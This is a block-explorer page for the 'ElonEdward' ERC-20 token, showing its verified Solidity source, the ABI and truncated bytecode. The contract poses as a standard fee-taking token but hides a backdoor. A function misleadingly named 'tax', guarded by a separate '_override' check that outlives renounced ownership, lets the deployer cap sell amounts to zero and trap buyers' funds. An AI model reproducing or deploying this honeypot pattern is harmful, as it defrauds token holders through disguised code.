Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 ELONEDWARD
Holders
22
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
94,564,372 ELONEDWARDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ElonEdward
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: MIT // Telegram: https://t.me/elonedward pragma solidity ^0.8.4; address constant WALLET_ADDRESS=0xf96933C7e47aEB4Daf0439d30376602FEeBA8F97; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonEdward is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "ElonEdward"; string private constant _symbol = "ELONEDWARD"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _total = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 4; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _total); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _total = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier m() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function tax(uint256 k) external m { _total = k; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"k","type":"uint256"}],"name":"tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052633b9aca00600019620000189190620003bd565b60001962000027919062000424565b6003556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff021916908315150217905550633b9aca00600a553480156200007557600080fd5b506000620000886200035360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073f96933c7e47aeb4daf0439d30376602feeba8f97600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f96933c7e47aeb4daf0439d30376602feeba8f97600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035460016000620001e76200035360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002356200035b60201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600581905550620002e26200035360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef633b9aca0060405162000345919062000470565b60405180910390a36200048d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620003ca8262000384565b9150620003d78362000384565b925082620003ea57620003e96200038e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004318262000384565b91506200043e8362000384565b925082821015620004545762000453620003f5565b5b828203905092915050565b6200046a8162000384565b82525050565b60006020820190506200048760008301846200045f565b92915050565b612cb1806200049d6000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b5780631ae3d5ff14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f18565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd3565b6103f6565b604051610162919061202e565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612058565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612073565b610420565b005b3480156101cb57600080fd5b506101e660048036038101906101e191906120a0565b61048b565b6040516101f3919061202e565b60405180910390f35b34801561020857600080fd5b50610211610564565b60405161021e919061210f565b60405180910390f35b34801561023357600080fd5b5061023c610569565b005b34801561024a57600080fd5b506102656004803603810190610260919061212a565b6105e3565b6040516102729190612058565b60405180910390f35b34801561028757600080fd5b50610290610634565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612166565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f18565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd3565b6107ed565b60405161031c919061202e565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612073565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612181565b610e0f565b6040516103999190612058565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600a81526020017f456c6f6e45647761726400000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b610428610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461048157600080fd5b80600a8190555050565b60006104988484846110db565b610559846104a4610f08565b61055485604051806060016040528060288152602001612c5460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105aa610f08565b73ffffffffffffffffffffffffffffffffffffffff16146105ca57600080fd5b60006105d5306105e3565b90506105e081611476565b50565b600061062d600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b61063c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c09061220d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f454c4f4e45445741524400000000000000000000000000000000000000000000815250905090565b60006108016107fa610f08565b84846110db565b6001905092915050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061220d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90612279565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061220d565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122e5565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa4919061231a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b60919061231a565b6040518363ffffffff1660e01b8152600401610b7d929190612347565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf919061231a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c58306105e3565b600080610c63610787565b426040518863ffffffff1660e01b8152600401610c85969594939291906123b5565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd7919061242b565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca00600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba92919061247e565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c91906124d3565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f058161176c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612572565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612604565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612058565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612728565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f5906127ba565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612809565b11156112d357600080fd5b6112db610787565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e2306105e3565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190611f18565b60405180910390fd5b50600083856114699190612863565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad612897565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce919061231a565b816001815181106115e2576115e16128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906129b3565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612a7f565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a159190612058565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190611f18565b60405180910390fd5b5060008385611ad19190612ace565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f9190612aff565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90612ba1565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612809565b9050828482611e349190612ace565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612c33565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eb9578082015181840152602081019050611e9e565b83811115611ec8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eea82611e7f565b611ef48185611e8a565b9350611f04818560208601611e9b565b611f0d81611ece565b840191505092915050565b60006020820190508181036000830152611f328184611edf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6a82611f3f565b9050919050565b611f7a81611f5f565b8114611f8557600080fd5b50565b600081359050611f9781611f71565b92915050565b6000819050919050565b611fb081611f9d565b8114611fbb57600080fd5b50565b600081359050611fcd81611fa7565b92915050565b60008060408385031215611fea57611fe9611f3a565b5b6000611ff885828601611f88565b925050602061200985828601611fbe565b9150509250929050565b60008115159050919050565b61202881612013565b82525050565b6000602082019050612043600083018461201f565b92915050565b61205281611f9d565b82525050565b600060208201905061206d6000830184612049565b92915050565b60006020828403121561208957612088611f3a565b5b600061209784828501611fbe565b91505092915050565b6000806000606084860312156120b9576120b8611f3a565b5b60006120c786828701611f88565b93505060206120d886828701611f88565b92505060406120e986828701611fbe565b9150509250925092565b600060ff82169050919050565b612109816120f3565b82525050565b60006020820190506121246000830184612100565b92915050565b6000602082840312156121405761213f611f3a565b5b600061214e84828501611f88565b91505092915050565b61216081611f5f565b82525050565b600060208201905061217b6000830184612157565b92915050565b6000806040838503121561219857612197611f3a565b5b60006121a685828601611f88565b92505060206121b785828601611f88565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121f7602083611e8a565b91506122